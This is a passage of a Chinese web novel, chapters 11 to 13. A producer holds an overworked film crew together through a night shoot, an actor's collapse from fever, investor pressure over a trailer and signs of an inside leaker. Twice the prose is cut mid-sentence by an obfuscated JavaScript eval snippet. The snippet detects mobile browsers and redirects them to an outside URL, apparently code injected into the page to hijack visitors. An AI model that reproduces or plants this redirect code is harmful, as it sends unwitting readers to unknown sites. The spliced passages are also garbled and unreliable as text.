每一件事都像压在胸口的石头，轻不得，也放不下。 一旦剧组哪条线出问题，对她来说，又是一场地震。到时候，没人能救她。 她从楼梯下到空旷的露台，推门出去。夜风扑面而来，城市的灯光在远处浮动，仿佛另一个世界。她站在风里，一时间没了动作。 刚才与沈宴短暂的那几句调侃忽然浮现脑海，他的眉眼、他的语气、那句带着笑意的“记住了”，像是从她紧绷的现实中劈出一道小小的缝隙，让她疲惫至极的心稍微松动了一瞬。 就那么一瞬。 这日子里，她太少有这样的时候了。所有的情绪都被高强度的工作压扁、藏匿，她甚至快要忘了，原来还有人在意她吃没吃晚饭，是否真的睡饱。 可她也很清楚，这样的靠近，是不能奢望的。 她的全部时间和意志力都捆在这部还未完工的电影上，而他，是她最不能有私人情感牵绊的合作伙伴。 可即便如此，心动还是像夜风一样，不请自来，吹进心里某一处早已干涸许久的角落。 她抬手捂了捂被风吹得发凉的额角，低声说了一句：“别多想。” 可眼底那抹柔软，却怎么也藏不住。 11. 第 11 章 凌晨一点，片场仍旧灯火通明。 浓雾在废弃巷道间缭绕，涂鸦墙面上的油彩尚未干透，混合着油漆味、汗味与夜晚湿冷的空气，像一口闷着火的锅。 “烟再开一点，开最大！”导演在监视器旁大声喊，“得让它糊进观众眼睛里,压迫感懂不懂？” “可那台机子刚补的干冰已经冒完了！”场务喊得嗓子发哑，“材料都空了！” “那就再弄！别跟我说废话。” 导演语气劈头盖脸地砸过来，周围人不敢吭声。 摄制组已经连轴拍了三天两夜，连最年轻的小场务都顶不住，一边蹲在角落喝水，一边悄悄抹着眼角的汗。服化组早上还在，傍晚就倒了三个。有人低烧、有人咳嗽，也有人干脆人间蒸发。 “真没力了……昨天只睡了两个小时……” “你以为我睡得比你多？” “我不想演了，群演的钱都快不够路费了……” 低语此起彼伏，像潮水下的暗涌。 制片助理快步赶到程今面前，压低声音：“服化那边又走了两个，场务组申请调班的有六个，还有两个直接发烧躺回酒店了。” 程今盯着手里的预算表，眉头像是缝死了。数字在眼前跳动，像逼近崩盘的秒表。 “还能维持的人手是多少？” “最基础的可以凑出三组，但顶多撑到清晨。加班费用……得再翻一轮。” “翻。”她只说了一个字。 刘倩一愣：“经费这边已经快……” “翻。”她重复，语气更冷。 “队伍一散，再怎么省都白搭。” 刘倩不敢再言语，快步离开。 程今站在原地，感觉头皮都在发紧。 她不想说“扛不住”这三个字。整个剧组没有人能真正扛得住，可没人敢喊停，这不只是一场戏。 导演杨学宁此刻正捏着剧本跟副导演段林低声怒吼：“妆面糊成那样你也能放人上场？脸上的反光能照出人影，这种质感还剪什么特写？” “服化组就剩一个新来的在撑，全组的人都病了。”段林声音压得低，却带着不甘。 “糊弄！”杨学宁骂了一句，把剧本拍到腿上，咬牙，“这还不如直接拍黑白剪影！” 程今闻讯赶来，略带疲态地出声：“先把动作段落拍掉，远景能蒙住妆面，明天补妆时再回补特写。” 杨学宁瞪她：“你知道我原本是打算怎么拍这场的么？现在为了赶戏，连光都不对了。” “我知道。”她直视他，“但再继续撑，连灯都要烧了。你愿意冒一晚出事故的风险，我不愿意。” 现场短暂沉默。 杨学宁冷哼一声，扯起嗓子：“所有人到位！烟再开一轮！灯重新调！咱拍动作段落！” 场务苦笑：“我们这哪是电影拍摄，这是命悬一线的战场。” 摄像头对准街口，爆破师在角落蹲着点火线。群演站在烟雾后方打着哈欠，沈宴穿着道具血衣缓步走来，脸上妆都快花了，神情却极度专注。 程今站在监视器后，看着屏幕上一帧帧的画面：浓雾、脏乱街角、满眼疲惫却倔强的众人……这像是整部电影的缩影。 是她的，也不仅仅是她的。 等第一条拍完，杨学宁喊“过”时，现场没有人鼓掌，所有人都站着、喘着气，像刚从泥里爬出来一样。 这不是完成了一场拍摄，这是用人力和意志硬扛下一场夜战。 程今低头看着夜色中缓慢腾起的雾气，喉咙一阵发紧。 . 夜深如墨，片场仍旧光影交错。 沈宴换上藏色风衣，腰间缠着仿真纱布，靠在墙边喘了口气。他试图放低重心，反复走位，每个动作都克制且紧绷。远处，柳尧已进入状态，像一头盯梢的野狗，一步步朝他逼近。 烟雾再次漫开。 “开始！”导演在监视器后喝令。 沈宴猛地侧身躲避，脚步却因湿滑一滑，肩膀险些撞进旁边的水桶堆。他急踩一脚，勉强稳住身形，但已明显乱了节奏。 “卡！” 杨学宁从耳麦后探出头，眉头紧锁：“你刚才在飘什么？” 沈宴垂眸站稳，语气平静：“雾太大，视觉没跟上。” 他话说得含蓄，可谁都能看出，他的体力早在透支边缘。 程今站在灯架后，皱着眉上前一步，压低声音：“你现在状态不稳，要不先让替身上？” 沈宴没接话，只是扭头看向监视器回放，一言不发地掀起风衣袖口，露出肌肉轻微抽搐的手臂。他声音轻，却不容置疑：“我能再来一次。” 杨学宁看了看表，冷声催促：“那快点，别再拖。” 这条勉强过关。收工铃没响，沈宴却已经靠着道具架喘着粗气，白色水雾在他头顶散开，他额角满是汗珠，眼神却仍死死盯着灯下的场景。 柳尧凑过去，小声问：“你是不是……低血糖？脸都白了。” 沈宴偏过头，嘴角勉强扯起：“拍完再说。” 凌晨三点，烟雾再次弥漫。 剧组一刻不停地调灯、走位、架轨道，而沈宴在切换镜头间一口水都没喝。他全身紧绷如弦，为了不让角色脱戏，连片刻都不肯坐下。 下一场要拍他靠墙喘息、伪装伤员的特写。 刚站到指定机位，他却突然晃了一下，扶着墙边的水泥板，肩膀一沉，整个人往下倾。 “小心！”一名场务眼疾手快，赶紧扶住。 “导演，沈老师这状态不太对，要不要先停？”另一个工作人员也开始劝。 杨学宁把目光投向程今：“再拍十分钟就收。你来定。” 程今看着沈宴那张泛白的脸，心头一紧，刚要开口—— “我没事。”沈宴却率先开口，语调依旧冷静，仿佛虚脱不是他的事。 “你再这样，出事我真扛不住。”程今声音压低，却透出前所未有的强硬，“你现在连站都快站不稳了。” 沈宴迎着她的眼神，喉咙动了动：“等这场拍完，我就去医务室。你放心。” 两人对峙半秒。她想再劝，又不舍得打断他的坚持，只能咬牙：“好。那就最后一条。” “走位、调光！”杨学宁挥手，“趁烟没散，开拍。” 灯光再次亮起，沈宴站定在那片潮湿灰暗的巷道里，脸上布满冷汗，眼中却是死守阵地的孤绝坚决。 而程今站在场边，心跳急促，却一言不发地注视着他。她明白，他不是在拍戏，他是在赌命守住那点职业尊严。 . 场边不远处，美术总监海哥正站在临时搭建的巷道口，目光挑剔地扫过夜戏布景，眉头皱成一团：“这废墟感太假了，观众一眼就能看出来。” 道具组立马有人反驳：“你不是说要减少障碍？这场戏人来人往的，太多破板破门根本不安全。” 海哥冷笑一声，语气毫不退让：“那是你们整天嚷嚷没人、没钱。我是美术，不是神仙，你让我光靠泡沫板堆废墟？” 程今正好走近，海哥一看到她，便毫不客气地发难：“程制片，你之前说会给我预算和空间，到现在呢？你看看我这组，连夜搭景都没人帮，效果怎么出得来？” 她早习惯海哥的暴脾气，语气尽量柔和：“我明白你的难处，也知道你想尽力还原巷战氛围。但现在人手真的紧，服化都临时顶岗，扩建只能缓一缓。你先稳住基础布景，别冒险。” 海哥一甩手：“那拍出来不够味儿，别怪我没提醒。没材料，我就只能守着这点残破堆景了。” 程今不想正面硬碰，语气依旧平稳：“等这一轮夜戏收完，我们再来算笔账。你把清单列给我，我尽量批资源给你。” 海哥闷闷地“嗯”了一声，算是勉强答应，但脸上还是写着不满：“别让我等太久啊。” . 第六条镜头拍完，导演终于喊了一声：“好，收工！” 场内瞬间响起一阵小幅欢呼，有人松了口气，有人直接瘫在椅子上。灯光组、场务组开始打包设备，美术也在拆布景边收尾。 程今这边刚跟刘倩确认完一页页的加班记录和临时工清单，看着上面暴涨的预算数字，只觉太阳穴直跳：“这一夜，预算超得不轻。还得再找赵敏谈一轮。” 刘倩一边翻资料一边低声说：“人都顶不住了，今天至少发烧仨，一个场务直接请假回酒店躺着了。” “后面还得撑下去。”程今叹了口气，“加班补贴不能断，能拖多久是多久。人要散，剧就塌。” 话音未落，远处忽然传来柳尧的声音：“沈哥出不来啦！” 程今心中一紧，立即快步跑过去。巷道转角的废景边，沈宴正靠着一堆破木箱半蹲在地，脸色惨白，额角布满冷汗，眉头紧锁，连呼吸都透着吃力。 导演也冲了上来：“怎么回事？又晕了？” 沈宴抬头，声音低哑如线：“……走太快，腿有点发软。” 他抬手想站起，却明显一阵踉跄。场务忙上来扶住他，小井惊呼：“要不要去医务室？” 程今蹲下，第一反应是伸手摸了摸他后颈的温度，果然滚烫。她压低声音：“你发烧了？” 沈宴没应声，只缓缓点头，强撑着道：“还有几场……我能撑。” 她的心骤然一沉，看着他像一根快被拉断的弦，明明一身沉稳，却已透支到了极限。 她站起身，果断对导演说：“这几场推后，我送他去医务室。” 导演欲言又止，终于也没再坚持，只挥手：“收了吧，今天就到这儿。” 沈宴站起来那一刻，整个人几乎靠着她的手臂撑住平衡。巷道的灯光还未全熄，烟雾机的残雾在夜色里打着旋，程今搀着他往出口走，一步一步，沉重又安静。 程今再没耐心拐弯抹角，直接沉下脸，语气带了明显火气：“他现在身体状况根本不适合再拍。后面所有动作戏，别再让他上，除非医生说他能行。” 导演心疼戏，也知道她说得对，只能一边揉额角一边咕哝：“行行行，算我怕了你们。等好了再拍吧。” 沈宴仍想硬撑：“我还能拍， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359150|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用——” 程今打断他，毫不留情地开口：“闭嘴，别逞强。跟我走。” 她语气冷硬，像是在下命令，没有给他留下任何讨价还价的余地。 众人眼看这一幕，纷纷沉默。柳尧识趣地退后一步，把空间让给他们，导演则开始安排场务撤景，现场迅速进入收尾状态。 . 医院的灯光柔和，墙上挂着淡蓝色窗帘，空气里是酒精和消毒水混合的气味。沈宴坐在白色塑胶椅上，手里握着护士递来的补盐液，神色终于显出一丝倦意。 医生低头看完检查结果，眉头一挑：“血糖低，血压偏虚，还有些脱水迹象。你这状态，再不好好休息，下次，就得抬着进医院。” 程今站在他侧后方，双臂抱胸，声音明显带着情绪：“听到了吧？” 沈宴没吭声，指尖在瓶身轻轻摩挲，半晌才说：“我睡一上午，下午就能回来。” 医生皱起眉：“我是说至少休息二十四小时，不然你这膝盖的旧伤也要复发。” 程今看着医生，再看沈宴，两人一个固执，一个绷着不服输的倔。她知道，沈宴不是没意识到自己扛不住，只是认定不能“掉链子”。尤其是作为主演，他太明白自己身上的分量。 于是她换了种语气，不再逼迫，只道：“白天先别来，反正那几场是群戏。晚上的事，等医生评估。” 这次沈宴没再争，只低头应了声“嗯”，那一下，他整个人仿佛一下子松弛下来，背脊靠在椅背上，脸上终于浮现出真正的疲惫。 程今看着他，沉默片刻，终是低声开口：“以后有事可以说，不要老是死扛。” 她语气不急不重，却带着一股被连日压抑拉长的柔软和无奈。 沈宴没有正面回应，只垂眼点头，轻声道：“知道了。” 这一声“知道了”，没什么承诺，却让她心口一紧。 她知道他还是那个什么事都想自己扛的沈宴，可她也清楚，能让他说出这句话，已经是难得的退让。 . 离开医院，回到片场，程今脚步还没迈出几步，就听见后台传来激烈争吵。 “没经费还想搞多层结构，你当我们拍的是科幻大片？”杨学宁声音压得低，却藏不住火气，“人都快走光了，你还惦记那点破砖烂瓦？” 海哥拽着图纸拍在桌上，满脸不服：“这不是你自己说要氛围感拉满？我就是补几道暗巷细节，让景更吃镜头，现在说我多余？” 杨学宁冷笑一声：“你要真想写实，先把预算和人员要下来再说。” 两人吵得不可开交，刘倩站在旁边急得团团转，副导演段林靠着一根支架，双手抱胸，脸上是看热闹不嫌事大的淡淡冷意。 程今快步走过去：“别吵了。”她目光扫过两人，语调平稳却带了压制力，“海哥，你先按原图做局部修改，别搞大改动。杨导，你也别咄咄逼人。布景要合理，美术不能完全丢。” 杨学宁沉着脸：“你还偏帮他？你看看表，这时间、这预算，够你加几块破木板？” 海哥冷笑接话：“你倒是敢拍，画面灰得像泥塘。别说我偷懒，是你们不给料。” 程今拉住海哥胳膊，压低声音：“我明天给你调两个人手，加班补贴也批了。你给我出一个经济版方案，别再跟杨导顶撞。” 海哥半信半疑地盯了她两秒，终于甩下一句：“别让我白忙活。”转身走了，背影僵硬。 杨学宁还想说什么，被她一个眼神压下去：“其他的回头再谈。” 程今撑到最后，亲自核对今晚人手调配、补给物资，也约好了财务下午对接剩余账目。等一切交代完，才拖着脚步往外走。 走出片场时，她正好撞上段林。 段林倚在临时搭建的脚手架边抽烟，看见她后笑了笑，烟雾打着转：“又是一晚鸡飞狗跳。” “起码拍完了。”她答得冷淡，懒得寒暄。 段林摊了摊手：“拍完？人倒是快散了，心可没回来。”说完弹掉烟灰，拽着外套就走，那背影像随时准备抽身的局外人。 程今站在原地，望着他的背影，心里升起一股说不清的不安。 这剧组里，谁都可能是火种。 程今独自走出片场铁门，夜晚的风卷着雾，冷得像贴了层薄冰在皮肤上。 她站在门口回望，狼藉的布景区还未完全沉寂——灯架歪着，道具散落，烟雾像没散尽的尘埃，还笼罩着整条巷道。空气里残留着火药味、汗水味，像是一场刚刚结束的深夜战争。 手机握在掌心，她知道，接下来没得歇，每一个问题都像挂在身上的石头，让她的肩愈发沉重。 她闭了闭眼，企图让自己多缓一秒，但脑海里还是闪过沈宴。 那个几乎脱力还咬牙坚持不倒下的男人，那句在医院说得极轻的“我知道了”。像是某种不动声色的回应，也像是，在她撑起这一切的时候，有人默默与她并肩了一步。 那不是承诺，也不是依赖，只是某种默契的靠近—— 沉在夜色里，却在她心头，亮了一点光。 12. 第 12 章 上午十点，程今刚踏进公司楼层，就被唐夕堵在走廊口：“程制片，你看永荣影业的新宣传了吗？一堆人在@我们，明着暗着都在说我们。” 她一边往前走，一边接过平板，低头看了一眼社交媒体。 永荣影业发布的概念短片只有30秒，剪辑却凌厉得像刀：废弃码头、帮派交易、卧底枪战，镜头节奏快得惊人。底部那句配文更像是直戳命门：“类型片市场亟需新血，进度和阵容，皆需硬实力。” “还有营销号开始发图对比，”唐夕低声补充，“说某同类片连人都凑不齐，拍戏靠请病假拖延，根本撑不到上映。” 程今目光沉了沉，冷声道：“看来他们根本没打算收手。现在这是摆明了要借宣传顺势踩我们一脚，先把话语权抢了。” 走到办公室门口，她将平板递还唐夕，语气一如既往平静：“告诉公关部，别硬杠、不回应，别把我们拉进他们设计好的口水战里。” “可要是群众真信了他们先发制人的姿态……口碑就彻底被他们抢了。”唐夕仍有些不安。 “那就让片子自己说话。”程今推开办公室的门，语调干脆利落，“我会处理好中期样片。现在不是反击的时候。” 她刚坐下，电脑屏幕右下角跳出一封匿名邮件提醒。 点开。 第一句话便是赤裸裸的挑衅：“听说你们还在内忧外患？没招了吗？” 后面一句更恶毒：“既然无法创新，不如早点退场，省得浪费资本。” 最后那行，彻底把话戳破：“毕竟是女人，不适合这行。你们要是半途崩盘，也没人会惊讶。” 程今盯着那行字，指尖缓缓握紧鼠标。 他们越是想逼你反应，就越不能让他们如愿。 她清楚，邮件不是讽刺，是试探，是警告，甚至可能来自剧组里某个依然隐藏的内鬼。 剧组风波未平，外部攻击又起，她身上这张“女人制片人”的标签，对资本而言就是天生的原罪。 但她没空喊委屈。 她拉开抽屉，翻出那份刚到的财务报表，表情平静，眼神却越发凌厉。 下午，制片助理匆匆敲门，神色紧张：“程制片，赵敏那边派罗凯过来了，说有重要情况要当面谈。” 程今合上手中文件，目光一沉：“请他直接去会议室，我这就来。” 十分钟后，罗凯准时现身，西装笔挺，拎着电脑包，依旧那副笑容得体的姿态。一番简短客套后，他开门见山：“赵总希望尽快看到一版中期样片，或者概念预告。若视觉、节奏和人设足够吸引人，可以考虑追加宣发预算；否则……可能得重新评估投入比例。” 程今神色不动，语气平静：“我懂。临川基金也担心我们节奏慢，被永荣影业抢了先，对吗？” 罗凯推了推眼镜，点头：“永荣那边动作很快。市场竞争摆在那儿，赵总需要看到你们的差异化价值体现，才能说服董事会继续投资。” 程今扫了眼桌上资料，语速冷静却果决：“那就剪一支中期片花，重点突出卧底局中局的主视觉线。我们有素材，也有足够冲击力的镜头。” “可以。”罗凯语气一松，但仍保留那点试探，“只是时间紧迫，你能保证什么时候交稿？” “一周。”程今语气毫不犹豫，像拍下一记重锤，“我亲自盯，成片不会让你们失望。” 罗凯这才收起平板，起身时留下一句：“赵总说了，这会是你们的分水岭，能打就上，不行就收。” 等人离开，会议室重归安静，程今脸上的淡定终于淡去几分，这场面谈虽然没动怒，但分明是一次隐形的最后通牒。 这支片花，必须惊艳。否则，等着被资本放弃。 . 程今随即召集导演杨学宁、后期小澄、公关唐夕等核心成员，一边翻资料一边开口：“就拿那场巷战做主剪辑部分，从动作戏里挑出最炸的段落，重点构建观众的第一记冲击。” 杨导皱眉：“那场夜戏素材拍得很全，但多是实景＋烟雾，色调得重新调，不然看起来太灰。” 剪辑小澄也开口：“特效、调色、闪爆这些我来处理，问题不大。素材杂，我得连夜清筛，三四天内给你初剪。” 唐夕则补充：“如果目标是社交平台热度，咱们还得加点‘人设矛盾’的元素，比如沈宴跟柳尧那场爆点对峙，最好有点情绪张力。” 程今立刻拍板：“那就这么来，巷战主干，卧底身份压迫感做情绪线，加一点帮派氛围镜头，剪成两三分钟浓缩高能。文案写：一个卧底的极限生死线，要有钩子。” 她目光一扫众人：“这是对赵敏的回应，也是对市场的第一刀。咱们不是要保守求稳，而是要正面抢舆论节奏。” 杨导点头：“行，我盯剪辑审片。” 唐夕：“我这边立马准备主视觉文案和营销口径。” 小澄：“我今晚开始调素材，不睡也剪出来。” 众人迅速起身，气氛倏然紧绷，但没人喊苦。因为他们都知道，这必须是一次漂亮的反击。 散会后，程今正准备离开会议室，门口却被副导演段林拦住。 他脸色沉得像压了三分火，语气也毫不掩饰不满：“以前杨导调度大场面，我主拍摄细节。现在你们开个宣发会都绕开我，我到底还是副导演，还是已经成了你程今的编外人员？” 她一听语气就知不对，停下脚步，语气尽量温和：“这次主要是剪片花，偏后期方向，才由我、杨导和宣发组来定。你那边的拍摄日程和计划完全没变，依旧按原流程走。” “呵。”段林轻笑一声，眼底却没半分笑意，“那为什么组里所有资源、节奏都往你这集中？谁还在意我的安排？你们现在连镜头调度都私下决定，根本没我什么事。” 程今收了笑意，声音也带上冷意：“你是副导演，项目初期我第一个确定的就是你的位置。这段时间确实情况紧急，我没顾上你，不代表排挤你。真有建设性建议，尽管提。” 可段林显然并不买账，他只冷冷撂下一句：“你们都拍完了，我说什么也改不了。”说完甩袖离开，背影写满怨气。 程今站在原地几秒，眉心紧蹙。段林的情绪越来越不受控，如果只是情绪波动还好，可若真的另有所图…… . 深夜，资料室走廊一片寂静，编剧小井正翻找旧版剧本，准备参考角色早期设定。就在她靠近拐角时，忽然听到一道熟悉的声音从前方低低传来。 “……对，我这边掌控着具体拍摄节点，你放心……嗯，别让他们发现……” 她心头骤跳，脚步顿住，屏住呼吸悄悄探头，只看到段林拿着手机背对着她，神色戒备，话音急促。可下一秒，他像是察觉动静，猛地转身钻进洗手间，通话戛然而止。 小井愣在原地，手中剧本几乎掉落。 她不敢贸然上前，脑中却已经快速转起：段林在通风报信？掌控拍摄节点？他是在向外泄露剧组动态？和谁？ 这一刻，她忽然想起此前那个被清退的财务主管，和那段难以查清的监控盲区。她并没有证据，却敏锐意识到，这事，绝不简单。 她回到办公室几次欲言又止，最终选择先把这件事按下。空口无凭，反咬一口都可能伤到程今。她决定先留心，再找出更多确凿线索。 . 次日清晨，程今刚处理完剪辑协调进度，公关负责人唐夕急匆匆推门而入。 “永荣那边又放了一支新片场Vlog，还官宣片子进入冲刺阶段，剪辑同步提速。”她一边将资料平板递过来，一边低声说，“弹幕和评论都在拉踩我们。有人在带节奏，说我们拍不下去，卡司换人、项目进展缓慢，可能要凉。” 程今扫了一眼平板上那支短片：剪辑节奏快，气质强烈，甚至隐隐带着她熟悉的片场氛围。对家动作果然迅速，甚至疑似模仿了她们在巷战戏中的构图方式。 “他们不仅抢时间，还在抢定义权。”她语气平淡，却语义锋利，“让观众一眼就以为他们才是这类题材的主角。” 唐夕咬牙：“要是这波热度持续发酵，赵敏那边的支持……也不好说。” 程今缓缓合上平板，目光沉冷：“别慌。舆论战不是靠嘴赢的，得靠作品打。” 她站起身，吩咐道：“你先准备一份外宣话术，稳住观众和市场节奏。样片还没出之前，我们必须表现出项目‘进度平稳、亮点可期’。这是我们的立场。” “好。”唐夕点头，但眉宇间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359151|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依然藏着隐忧。 程今望向窗外天光：“对家出手快，那我们就要出手狠。一周之内，我要让他们闭嘴。” . 后期剪辑室里，灯光昏黄，键盘噼啪作响，小澄调出沈宴在巷战中的多条动作镜头，反复查看—— 昏暗巷道、闪烁灯影中，沈宴闪身、翻越、近身格斗，气息沉稳如猎豹。他的每个动作都没有多余修饰，却极具张力；哪怕只是一个回头，也能透出角色在死亡边缘游走的警觉与狠劲。 杨学宁站在她身后看完一段，直接拍板：“沈宴真是拼了命地演。咱们片花的基调，就靠这些撑起来。” 唐夕眼神一亮：“那我建议加几秒他和柳尧正面对峙的戏，再混剪一些危险镜头。观众看到那种杀气和悬念，会忍不住追问后面发生了什么。” 程今没吭声，盯着屏幕上那帧定格画面——沈宴在烟雾翻涌中喘息，脸侧是绷紧的肌肉与浅浅血痕。 她眼底浮出一丝复杂：“加一段他带伤搏斗的镜头，再剪几帧他倒地又挣扎着起身的。观众喜欢英雄，但更记得快崩溃又不肯倒下的人。” 杨学宁点头，小澄手速飞快地记录。 为了衔接片花中的空镜，美术组长海哥也被喊来返工。 他一边翻着改造草图，一边皱着眉：“得再搭一面破墙，有条旧巷口，吊个掉色霓虹招牌，这样整体感才够扎实。可我说实话，现在人手和材料……” “我先拨一笔小预算，再从场务抽个靠谱的人协助你。”程今直接了当，“我们只要让片花看起来真实、够沉浸，别贪全场，拿下重点就行。” 海哥翻了翻白眼：“那我做个经济适用版。反正将来要是观众觉得假，别来找我。” 杨导也笑着劝他：“现在预算紧，咱也玩个‘穷中出奇招’，要是你真能把这墙做出质感，我第一个给你请功。” 海哥“哼”了一声没再顶嘴，转身去布置现场。他虽然抱怨，但程今知道，他是真心想把画面做出质感的人，只是缺资源，脾气比谁都硬。 . 夜幕降临，程今刚走出剪辑室，走廊尽头就看见段林阴沉着脸倚着墙，像在等她。 “听说你们在剪个什么片花。”他一开口，语气冷硬，“就不打算问问副导演的调度意见？” 程今早预料到他这茬，语气淡定：“素材都是之前拍完的，不涉及新拍摄安排。你有什么想法可以直接对后期提，但别揪着不放。” “呵。”段林嗤笑一声，“戏还没拍完，就想着怎么出爆点？真要失控了，你担得起吗？” 程今语气也冷了几分：“赵敏要看中期样片。若拿不出有分量的东西，连拍完都成问题。” “随你。”段林甩下一句，转身离开，像丢下一块石头砸进水里，水面却悄无声息。 程今站在原地片刻，眉头轻蹙。段林的情绪越发极端，已经不像单纯被边缘化那么简单。 晚上十点，程今刚回到办公室，邮箱又跳出一封匿名来信。 邮件依旧没有署名，却极具挑衅意味：“听说你还想剪片花？小心玩火自焚。市场对烂片，零容忍。” 程今目光冰冷地盯着那一行字，手指却极稳地点了“归档”。 这已经是本周第四封匿名威胁了。内容越来越精准，对拍摄进度、内部安排一清二楚。 她抬头望向窗外夜色，心中冷静得可怕：剧组里还藏着人，盯着她的一举一动。 深夜，后期机房依旧灯火通明。 小澄在剪辑台前眼睛通红，指尖几乎没停过，键盘与鼠标在安静室内响得格外清晰。杨导在她身后走来走去，一边调色一边盯节奏。唐夕坐在角落敲着宣传文案，忙着拟定赵敏评审用的文案版本。 大屏上，沈宴动作片段快速闪过：爆破、近战、突围、重伤倒地再挣扎起身，像一场真实潜伏者的自白。柳尧冷着脸步步紧逼，帮派的阴影、警匪的边界、烟雾下的信念交织得扑面而来。 程今端着咖啡静静看完这支初剪，目光一寸寸扫过大屏，终于轻声道：“这个样子……可以了。” 唐夕拿起纸笔：“片花一成，赵敏一审，永荣的那点营销就翻不起风浪。” “片花只是第一步。”程今低声说。 13. 第 13 章 清晨六点，天光未明，程今推开后期机房的门，一股混杂着咖啡渣与油墨纸张味的冷气扑面而来。 冷白灯还亮着，像医院走廊般刺目。地上散落着被揉皱的纸张、空掉的泡面桶和没喝完的功能饮料。几位后期工作人员瘫坐在电脑前，有的靠着椅背打盹，有的眼皮沉重，手还搭在键盘上。唯一运转着的，是角落那台正在渲染的主机，风扇嗡嗡作响，像是疲惫又不甘的呻吟。 程今站在门口几秒，脑中仍在回响昨晚导演那句甩下的话：“这版不行，再给我改。”然后他甩门而去，留下一屋子眼圈通红的人。 而她自己也还记得罗凯的语气，温和却有威慑：“片花得足够打动人心，不然资金很难追加。”资本冷漠如霜，一旦决定撤出，连体面的收场都不会给。 她正准备唤醒那些还在昏睡的剪辑师，忽然，一道瘦削的身影从隔间探出头来。 “程制片？” 声音有点沙哑，是个穿着灰色连帽卫衣的女孩，头发草草束起，眼底有着连续几夜没睡的红血丝，脸色苍白，年纪看上去不过二十出头。 “你就是小澄？”程今努力调出记忆。上周导演曾提起一个临时顶上的新人剪辑师，她一直没时间接触。 “对不起，还没机会正式认识你。”她声音里带着疲惫的礼貌。 “我熬了两夜拼素材，”小澄挠了挠头发，声音不大，“刚刚又卡在节奏点上……你现在要不要先看看片花目前的状态？” 程今看着她指尖泛白、神情清醒得近乎执拗的样子，心里一紧。一个二十出头的女孩，扛起深夜剪辑节奏线，眼睛还泛红，却不肯喊一句累。 “好。”她点头，语气柔和下来，“你先坐，和我说说，卡在哪里了？” 小澄带她走到主机前，迅速打开剪辑软件，语速压得极低：“卧底对峙的素材拍了超过两百条，风格各异——有文戏、打戏、帮派群演、烟雾夜战，还有沈老师和柳尧的几段分场……要压成三分钟片花，就得狠砍。” 她一边说，一边拉出复杂如蛛网的时间轴，密密麻麻地铺满了主屏幕。 程今盯着那条多层剪辑线，头皮一紧：“这也太多了……不是已经剪过一版？” “剪了啊，”小澄干笑一下，眼下青黑，“被导演全盘否了，说节奏乱，不够炸，还怪我角色情绪没剪出来。我只好重新加打戏，还得塞情感线。” 她苦着脸，“说到底，就是要情绪也得有，节奏也得密……两面都要兼顾到。” 程今扶着椅背，目光扫过剪辑界面上跳动的预览画面，喃喃道：“确实是左右为难。” “我昨晚试图在一分半处塞沈老师一段慢镜，他那时刚被发现身份，有个眼神特别好，但导演嫌拖，说片花就得炸到底。可一炸到底，观众哪能看得出他挣扎？” “理解。”程今俯下身，目光扫过几个关键节点，“咱们试着走两条线。一版直冲爆点，一版保留他挣扎的弧线。能融合最好，不能就让赵敏选。” “但我们真的……还有时间吗？”小澄敲着键盘，声音低却焦躁，“杨导说赵敏可能这两天就来要片。” 程今倚着桌角，轻叹：“导演要内容饱满，投资人要看噱头，谁都不能得罪。但不管怎么样，先把第二版做出来。” 那一刻，小澄望着她，眼神终于不再绷着，点头：“我……我再熬一晚。” 中午，导演叫来沈宴看剪辑，主要是卧底线与对峙场的处理。 沈宴不是专业后期，但对节奏、动作衔接极敏感。他盯着屏幕，快进又倒回几帧，指着某个过渡：“这个我翻过栏杆，下秒就开打，中间空了两秒，会不会太快了？观众反应不过来。” “可以补点烟雾或模糊人影做过场，”小澄一边记笔记一边点头，“让视觉连贯点。” 导演也跟着点头：“可以，再把你那场枪口顶头挪到打戏前，先制造压迫感，再爆发。” 程今在一旁默不作声，却将这几人的交流尽收眼底。她注意到沈宴虽然脸色仍白得厉害，膝盖缠着绷带，却依旧坐得笔直，认真看完每一个镜头，甚至记下哪些神情得剪进去、哪些动作该推前。 他从不是走过场的明星演员，而是拼命用演技去说服观众的创作者。 傍晚时分，小澄忙到头晕眼花，终于导出第二版片花。她捧着硬盘走进放映室时，眼神里还带着一丝激动：“这版节奏比上一次更紧了，动作也全都推进到一分半以内。” 导演看了开头几秒，沉着脸没吭声。等他看到一分半后，转头看向程今，声音干涩：“打戏够了，但情绪不够。除了爆点，看不出什么更深的东西。” 小澄脸上瞬间僵住：“我们片花就三分钟啊……对家那边天天发猛料，宣传阵容、CP、预告轮着上，我们不给观众点爆点，谁还看？” 角落里有后期同事嘀咕了一句：“全是打斗，内核都削光了，不还是噱头第一？观众真有代入吗？” 导演的眉头猛地一皱，低声怼回去：“你别一口一个噱头，咱们也想讲故事，但片花最先是给市场看的，不能太闷。” 气氛陡然紧绷。小澄呼吸急促，脸颊微红，像随时可能炸开。 程今只好站出来，语气一贯稳：“两边都没错。片花是要抓人眼球，但我们也不能把角色内核全剪光。观众点开视频，是想知道这部片值不值得’，不是看一场剪辑狂欢。” “如果只呈现沉闷的心理戏，赵敏那边会觉得卖相不足；但若全是肌肉冲撞、火光爆炸，观众只会说我们在搞无脑爽剧。”她顿了顿，语气更坚定，“——没法两全，也得逼近最优，这就是我们要解决的问题。” 